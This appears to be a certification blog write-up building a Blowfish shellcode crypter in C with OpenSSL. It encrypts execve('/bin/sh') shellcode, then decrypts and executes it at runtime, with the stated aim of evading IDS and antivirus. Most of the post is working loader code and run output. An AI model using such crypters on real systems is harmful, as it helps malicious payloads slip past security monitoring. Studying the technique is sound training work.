SLAE #7: Custom Crypter

The final assignment of the SLAE consists in writing a shellcode crypter.

This is a step ahead of the simple encoding scheme we used in a previous assignment. However, the idea is the same: encrypt the shellcode so it looks like random gibberish, then decrypt it at runtime and execute it. This would allow to bypass certain filters and hopefully evade IDS and AVS.

This blog post will cover the Blowfish cipher. Blowfish is a symmetric-key block cipher designed by Bruce Schneier. It has a 64-bit block size and a variable key length from 32 to 448 bits.

It would be super hard to implement the algorithm correctly in assembly language, so we’ll write a C program to encrypt and decrypt our shellcode. Moreover, we’ll be using the libcrypto library within OpenSSL instead of rolling our own Blowfish implementation.

The OpenSSL docs describe the Blowfish interface in detail.

 #include <openssl/blowfish.h>

 void BF_set_key(BF_KEY *key, int len, const unsigned char *data);

 void BF_ecb_encrypt(const unsigned char *in, unsigned char *out,
         BF_KEY *key, int enc);
 void BF_cbc_encrypt(const unsigned char *in, unsigned char *out,
         long length, BF_KEY *schedule, unsigned char *ivec, int enc);
 void BF_cfb64_encrypt(const unsigned char *in, unsigned char *out,
         long length, BF_KEY *schedule, unsigned char *ivec, int *num,
         int enc);
 void BF_ofb64_encrypt(const unsigned char *in, unsigned char *out,
         long length, BF_KEY *schedule, unsigned char *ivec, int *num);
 const char *BF_options(void);

 void BF_encrypt(BF_LONG *data,const BF_KEY *key);
 void BF_decrypt(BF_LONG *data,const BF_KEY *key);

The documentation discourages direct use of these functions. It suggests working with the high level interface provided by the EVP cipher routines instead. The OpenSSL guys know better, so let’s follow their advice.

A working example on how to use EVP can be found in the OpenSSL wiki.

The following code encrypts the execve(“/bin/sh”) shellcode from the previous assignment, then decrypts it and compares it to the original plaintext. This is done to ensure that the encryption and decryption methods work as expected, since decrypt(encrypt(shellcode)) should be indistinguishable from shellcode.

Let’s use a 256-bit key and a 128-bit IV. We can get the md5sum of the SLAE string to use as key.

$ echo SLAE | md5sum
4a9014eb30e5da0a8ea427b662f1cd3d

The IV will just be 01234567890123456 for the purpose of this assignment. In the real world, it should be initialized to a random value on every run.

#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>

void print_shellcode(unsigned char *shellcode) {
    size_t len = strlen(shellcode);
    int i;

    for (i = 0; i < len; i++) {
        printf("\\x%02x", *(shellcode + i));
    }

    printf("\n\n");
}

int main(int argc, char *argv[]) {
    // 256 bit key
    unsigned char *key = "4a9014eb30e5da0a8ea427b662f1cd3d";

    // 128 bit IV
    unsigned char *iv = "01234567890123456";

    // Unencrypted shellcode
    unsigned char *plaintext =  "\x31\xc0\x50\x68\x2f\x2f\x73"
                                "\x68\x68\x2f\x62\x69\x6e\x89"
                                "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                                "\xcd\x80\x31\xc0\x40\xcd\x80";

    // Buffer for ciphertext (longer than the plaintext shellcode)
    unsigned char ciphertext[128];

    // Buffer for the decrypted text
    unsigned char decrypted_text[128];

    int decrypted_len, encrypted_len;

    // Initialize the library
    ERR_load_crypto_strings();
    OpenSSL_add_all_algorithms();
    OPENSSL_config(NULL);

    // Encrypt the plaintext
    encrypted_len = encrypt(plaintext, strlen(plaintext), key, iv,
                            ciphertext);

    printf("Ciphertext is:\n");
    BIO_dump_fp(stdout, ciphertext, encrypted_len);
    printf("\n"); 

    // Decrypt the ciphertext
    decrypted_len = decrypt(ciphertext, encrypted_len, key, iv,
                            decrypted_text);

    decrypted_text[decrypted_len] = '\0';

    printf("Decrypted text is:\n");
    print_shellcode(decrypted_text);

    // Compare decrypt(encrypt(plaintext)) result to the original plaintext.
    if (strcmp(plaintext, decrypted_text) != 0) {
        printf("The decrypted shellcode does not match the plaintext.\n\n");
    } else {
        printf("The decrypted shellcode matches the plaintext.\n\n");
    } 

    // Cleanup
    EVP_cleanup();
    ERR_free_strings();

    return 0;
}

void handleErrors(void) {
    ERR_print_errors_fp(stderr);
    abort();
}

int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
    unsigned char *iv, unsigned char *ciphertext) {
    EVP_CIPHER_CTX *ctx;
    int len;
    int ciphertext_len;

    // Create context
    if (! (ctx = EVP_CIPHER_CTX_new())) {
        handleErrors();
    }

    // Initialize encryption
    if (EVP_EncryptInit_ex(ctx, EVP_bf_cbc(), NULL, key, iv) != 1) {
        handleErrors();
    }

    // Encrypt the message
    if (EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len) != 1) {
        handleErrors();
    }

    ciphertext_len = len;

    // Finalize encryption
    if (EVP_EncryptFinal_ex(ctx, ciphertext + len, &len) != 1) {
        handleErrors();
    }

    ciphertext_len += len;

    // Cleanup
    EVP_CIPHER_CTX_free(ctx);

    return ciphertext_len;
}

int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key,
    unsigned char *iv, unsigned char *plaintext) {
    EVP_CIPHER_CTX *ctx;
    int len;
    int plaintext_len;

    // Create context
    if (! (ctx = EVP_CIPHER_CTX_new())) {
        handleErrors();
    }

    // Initialize decryption
    if (EVP_DecryptInit_ex(ctx, EVP_bf_cbc(), NULL, key, iv) != 1) {
        handleErrors();
    }

    // Decrypt the message
    if (EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len) != 1) {
        handleErrors();
    }

    plaintext_len = len;

    // Finalize decryption
    if (EVP_DecryptFinal_ex(ctx, plaintext + len, &len) != 1) {
        handleErrors();
    }

    plaintext_len += len;

    // Cleanup
    EVP_CIPHER_CTX_free(ctx);

    return plaintext_len;
}

Compile and run it.

$ gcc -o crypt crypt.c -lcrypto
$ ./crypt
Ciphertext is:
0000 - 34 cb 6e 8f 8d 2b c0 16-1e ff 12 42 58 38 91 38   4.n..+…..BX8.8
0010 - 23 b6 5f 3a fc 25 11 90-ed e6 bc 01 0f c6 bf 41   #._:.%………A

Decrypted text is:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80

The decrypted shellcode matches the plaintext.

If we change the key or IV when decrypting, we’ll get an incorrect shellcode that does not match the original plaintext.

The decrypter program should decode the encrypted shellcode and execute it. We’ll reuse the decrypt function from the test program above.

#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>

void print_shellcode(unsigned char *shellcode) {
    size_t len = strlen(shellcode);
    int i;

    for (i = 0; i < len; i++) {
        printf("\\x%02x", *(shellcode + i));
    }

    printf(“\n\n”);
}

int main(int argc, char *argv[]) {
    // 256 bit key
    unsigned char *key = "4a9014eb30e5da0a8ea427b662f1cd3d";

    // 128 bit IV
    unsigned char *iv = "01234567890123456";

    // Encrypted shellcode
    unsigned char *encrypted_shellcode =
                                "\x34\xcb\x6e\x8f\x8d\x2b\xc0" 
                                "\x16\x1e\xff\x12\x42\x58\x38"
                                "\x91\x38\x23\xb6\x5f\x3a\xfc"
                                "\x25\x11\x90\xed\xe6\xbc\x01"
                                "\x0f\xc6\xbf\x41";

    // Buffer for the decrypted text
    unsigned char decrypted_shellcode[128];

    int decrypted_len;

    // Initialize the library
    ERR_load_crypto_strings();
    OpenSSL_add_all_algorithms();
    OPENSSL_config(NULL);

    // Decrypt the ciphertext
    decrypted_len = decrypt(encrypted_shellcode, 32, key, iv,
                            decrypted_shellcode);

    decrypted_shellcode[decrypted_len] = '\0';

    printf("Decrypted text is:\n");
    print_shellcode(decrypted_shellcode);

    // Execute decrypted shellcode
    printf("Executing shellcode...\n");
    printf("Shellcode Length:  %d\n", strlen(decrypted_shellcode));
    int (*ret)() = (int(*)())decrypted_shellcode;
    ret();

    // Cleanup
    EVP_cleanup();
    ERR_free_strings();

    return 0;
}

void handleErrors(void) {
    ERR_print_errors_fp(stderr);
    abort();
}

int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key,
    unsigned char *iv, unsigned char *plaintext) {
    EVP_CIPHER_CTX *ctx;
    int len;
    int plaintext_len;

    // Create context
    if (! (ctx = EVP_CIPHER_CTX_new())) {
        handleErrors();
    }

    // Initialize decryption
    if (EVP_DecryptInit_ex(ctx, EVP_bf_cbc(), NULL, key, iv) != 1) {
        handleErrors();
    }

    // Decrypt the message
    if (EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len) != 1) {
        handleErrors();
    }

    plaintext_len = len;

    // Finalize decryption
    if (EVP_DecryptFinal_ex(ctx, plaintext + len, &len) != 1) {
        handleErrors();
    }

    plaintext_len += len;

    // Cleanup
    EVP_CIPHER_CTX_free(ctx);

    return plaintext_len;
}

As usual, let’s compile this code with an executable stack and verify that the shellcode is correctly decrypted and executed.

maxi@ubuntu:~$ gcc -o decrypt decrypt.c -lcrypto -z execstack
maxi@ubuntu:~$ ./decrypt 
Decrypted text is:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80

Executing shellcode…
Shellcode Length:  28
$ 

Yay! It works. 🙂

You can find the code for this assignment on my Github repository.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-­651

Advertisement

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s